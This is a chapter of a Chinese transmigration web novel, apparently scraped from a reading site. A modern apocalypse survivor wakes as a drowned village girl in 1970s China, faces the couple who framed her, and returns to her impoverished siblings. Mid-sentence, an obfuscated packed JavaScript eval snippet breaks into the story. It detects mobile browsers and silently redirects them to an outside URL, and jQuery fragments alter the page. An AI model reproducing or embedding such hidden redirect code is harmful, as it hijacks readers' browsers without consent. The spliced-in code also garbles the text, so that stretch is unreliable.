“大勇哥,你说那苏悦丫头片子,是不是真淹死在河里头了?”
一个尖细的女声,带着几分按捺不住的得意,在寂静的河边荡开,显得格外刺耳。
河水冰得像腊月的冰碴子,透心凉。
苏悦猛地呛咳几声,吐出几口带着浓重腥气的河水,还有几根烂水草。
天灰蒙蒙的,跟扣了个大锅盖似的。
岸边枯黄的芦苇荡在萧瑟的秋风里“沙沙”作响,平添了几分凄凉。
空气里除了水汽和泥土的腥味,还有股子淡淡的煤烟味儿,那是家家户户烧煤球或者在灶膛里塞柴火才有的味道。
她晃了晃昏沉的脑袋,这具身体虚弱得厉害,手脚跟灌了铅似的沉甸甸的,使不上一点劲儿。
身上的的确良衬衫和打了好几块补丁的卡其布裤子湿透了,紧巴巴地贴在身上,冻得她牙关都在“格格”打颤。
她不是应该在末世基地的惊天大爆炸中粉身碎骨了吗?
这是哪儿?
“哼,淹死才好!省得她到处败坏咱们的名声,影响咱们进步!”
那个杯称为大勇哥的男人的声音粗嘎,像是破锣嗓子,满是嫌恶。
“一个手脚不干净的玩意儿,三天两头不是丢针就是少线的,还想嫁给我?做她的春秋大梦去吧!”
女声娇笑起来,声音腻歪得像抹了蜜:
“就是!大勇哥,等她死了,她爹娘那俩老实疙瘩肯定得哭天抢地的。”
“到时候,咱们就一口咬定,苏悦偷了我的布票,害得我没法做新嫁衣,让他们赔钱。”
“不赔钱,就让他们家那几个小的都没学上。看他们慌不慌!”
“还是翠翠你脑子活泛,点子多!”男人嘿嘿一笑,露出一口黄牙,
“她爹娘那俩锯嘴葫芦,吓唬几句肯定就乖乖掏钱了。”
“到时候,那钱不还是进了咱俩的腰包?正好给我买几包‘大生产’烟抽抽。”
“那苏家穷得叮当响,锅底都快刮穿了,能榨出多少油水?”
女人撇撇嘴,有些不屑。
“不过蚊子腿再小也是肉。主要是出了这口恶气。谁让她不长眼,撞见咱们在玉米地里‘啃地瓜’,活该她倒霉!”
啃地瓜?
脑子里嗡的一声,不属于苏悦的画面和声音像是开了闸的洪水,杂乱地冲撞进来。
她穿越回到了七十年代末华国北方一个名叫苏家村的小山村。
原主也叫苏悦,是这苏家村生产队老实巴交的苏解放家的大闺女。
因为撞破了未婚夫赵大勇和村长闺女刘翠翠在村西头那片半人高的玉米地里搂搂抱抱,干那不要脸的勾当。
赵大勇和刘翠翠正是在河边对话的两人。
事后,苏悦反被那对狗男女倒打一耙,诬陷她偷了刘翠翠准备扯布做嫁衣的二尺的确良布票。
而“啃地瓜”,是七零年代乡下人对男女偷摸亲热的隐晦说法。
赵家立刻就闹上门来退了婚,唾沫星子都能把人淹死。
原主爹娘苏解放和周兰香是村里出了名的老实人,遇事只会唉声叹气,连句硬话都不敢说。
原主年纪小,脸皮薄,受不住这窝囊气和村里人戳脊梁骨的指指点点,一时想不开,就跳了这村口的青河。
偷窃?奸情?退婚?流言蜚语?
她苏悦,一个在末世里从尸山血海中杀出来,连眼睛都不眨一下的女人,没想到竟然有人会因为这点鸡毛蒜皮的破事寻死?
简直是天大的笑话!
现在,她是这个七十年代末的苏悦了。
混乱的记忆中,一个熟悉的念头闪过,她下意识地攥了攥手心,那里似乎还残留着一丝若有若无的牵引感。
这让她紧绷的身体略微松了分毫,眼底划过一丝不易察觉的精光。
是“丰饶”空间。
那是她在末世前,几乎耗尽了全部身家,疯狂囤积物资打造的移动堡垒。
集大型连锁超市、五金工具仓库、现代化药品库房、乃至一个小型军火库于一体的超级空间,竟然分毫不差地跟着她的灵魂,来到了这个陌生的时代。
她甚至能清楚“内视”到空间里,那些货架上码得整整齐齐的压缩饼干、自热米饭,还有角落里静静躺着、闪着幽冷寒光的工兵铲和消防斧。
只要那东西还在,活下去,报仇雪恨,改变这一家子的命运,都不是什么难事。
苏悦手脚并用,扒着湿滑泥泞的河岸,一点点往上爬。
每动一下,这具身体的骨头像要散架似的疼。
她悄无声息地躲在半人高的芦苇丛后,听着那对狗男女还在得意洋洋地商量着怎么敲诈勒索,太阳穴突突地跳,新长出来的指甲狠狠掐进了掌心,留下几个深深的月牙印。
不仅害死了原主,还想敲诈原主那对老实巴交的父母?
真是狗胆包天!
她深吸一口冰冷的空气,强压下心头翻腾的杀意。
现在这身体太弱,跟刚从水里捞出来的豆芽菜似的,硬碰硬肯定讨不到好。
苏悦慢慢地从芦苇丛后站了起来。
湿透的衣衫紧紧贴在身上,勾勒出少女略显单薄但已经开始发育的玲珑曲线。
水珠顺着她苍白脸颊上的发丝滴滴答答地往下落。
那两人正腻歪在一起,商量着怎么分赃,憧憬着拿到钱后去供销社买点好东西。
冷不丁看到一个浑身湿淋淋的人影从河边摇摇晃晃地冒出来,吓得“妈呀”一声尖叫,赵大勇差点把刘翠翠给推倒。
“苏、苏悦?!”赵大勇眼珠子都快瞪出来了,指着她,话都说不利索了,“你你你……你不是淹死了吗?你是人是鬼?!”
刘翠翠更是吓得躲在赵大勇身后,身子抖得跟秋风里的落叶似的,哆哆嗦嗦地尖叫:
“鬼啊!诈尸了!快跑啊,大勇哥!”
苏悦一步一步朝他们走去,每一步都像踩在两人的心尖上,沉重而冰冷。
她的声音不大,却像淬了冰碴子,钻心刺骨:“我苏悦,命硬得很,阎王爷不收。”
她走到两人面前,眼神冷冽如刀,缓缓开口:“刚才你们说的话,我可都一字不落地听见了。”
赵大勇和刘翠翠一听这话,魂都快吓飞了,脸“唰”地一下就白了。
“你……你胡说!我们什么都没说!你个死丫头,肯定是想讹人!”
赵大勇强作镇定,梗着脖子喊,声音却控制不住地在发抖。
“是吗?”
苏悦反问,语气更冷了几分,带着一丝嘲讽。
“你们在玉米地里干的好事,还有诬陷我偷布票,想讹诈我爹娘的那些龌龊心思,要不要我现在就去村部,借用一下高音大喇叭,让全村老少爷们,婶子大娘们都听听,评评理?”
七十年代的农村,村部的大喇叭可是个了不得的宣传工具。
村里芝麻绿豆大的事,谁家母鸡下了个双黄蛋,谁家孩子考了个好成绩,都能通过大喇叭传遍每个角落。
这要是把他们的奸情和恶毒计划捅出去,赵大勇和刘翠翠的名声可就彻底臭大街了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15685513|173317||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,以后在村里都抬不起头来。
刘翠翠更是急了,她爹可是苏家村的村长,最是要脸面。
这事儿要是闹大了,她爹的脸往哪儿搁?
“苏悦!你别胡说八道!你血口喷人!你个不要脸的,自己跳河还想赖我们!”刘翠翠尖叫起来,却心虚得不敢和苏悦对视。
“我是不是胡说,你们心里比谁都清楚。”
苏悦的语气没什么起伏,平静得可怕。
“赵大勇,刘翠翠,我告诉你们,从今天起,我苏悦不再是以前那个任你们搓扁揉圆的软柿子,想怎么拿捏就怎么拿捏。”
“你们欠我的,我会一点一点,连本带利地讨回来!”
“你们最好给我安分点,夹起尾巴做人!不然,我不介意让你们尝尝什么叫身败名裂,被人戳着脊梁骨骂的滋味!”
这还是那个平日里唯唯诺诺,说句话都脸红到脖子根的苏悦吗?
这眼神,这气势,简直像是换了个人!
不,比换了个人还吓人!那眼神,跟刀子似的,看得他们心里发毛。
“你……你想怎么样?”赵大勇色厉内荏地问,腿肚子都在打哆嗦。
“滚。”苏悦只冷冷地吐出一个字。
赵大勇和刘翠翠如蒙大赦,连滚带爬地跑了,头都不敢回,好像身后有恶鬼在追命一般。
看着两人狼狈逃窜的背影,苏悦扯了扯嘴角,露出一抹冰冷的笑。
这,只是个开始。
身体的寒意和虚弱感一阵阵袭来,苏悦不敢再耽搁。
她辨认了一下方向,拖着沉重得像灌了沙的步子,往记忆中那个破败不堪的“家”走去。
苏家的房子在村子最偏僻的角落,孤零零的三间低矮的土坯房,墙皮都脱落了不少。
屋顶的茅草稀稀拉拉的,被秋风吹得像是随时都会被掀飞。
墙壁上还有几道狰狞的裂缝,用黄泥胡乱糊着,瞅着就快塌了似的,一股子穷酸气。
推开那扇吱呀作响、门板都有些歪斜的破木门,一股夹杂着霉味和贫穷气息的冷风扑面而来,呛得人直咳嗽。
屋里光线昏暗,只有一扇小小的窗户糊着发黄的窗户纸,透进一点微弱的光。
苏悦一眼就看到了缩在墙角,穿着打满补丁、洗得发白的旧衣裳的两个孩子。
大的男孩约莫七八岁,瘦得像根豆芽菜,一双大眼睛里满是惊恐和不安,怯生生地看着门口。
小的女孩才五六岁,头发枯黄,像一蓬乱草,小脸蜡黄,一看就是长期营养不良。
她怯生生地躲在男孩身后,只露出一双黑葡萄似的眼睛,一眨不眨地看着她,充满了警惕和害怕。
这就是原主的弟弟苏望祖和妹妹苏小未。
看着他们那面黄肌瘦、衣衫褴褛,活像两只受惊小兔子的模样,苏悦喉咙发紧,一口气堵在胸口,又酸又涩。
苏望祖看到苏悦,先是愣了一下,随即眼圈就红了,声音带着浓浓的哭腔:
“姐……你,你回来了?你没死?”
苏小未从哥哥身后探出小脑袋,看到苏悦浑身湿淋淋、头发还在滴水的样子,吓得往后缩了缩,小声道:
“姐……姐姐……你身上都是水……”
紧接着,苏小未像是反应过来什么,哇地一声哭了出来。
小小的身影跌跌撞撞地扑过来,一把抱住苏悦冰冷的大腿,哭得上气不接下气:
“姐姐!姐姐你别再走了!我们害怕……娘说你……说你不要我们了……呜呜呜……他们都说你跳河了……”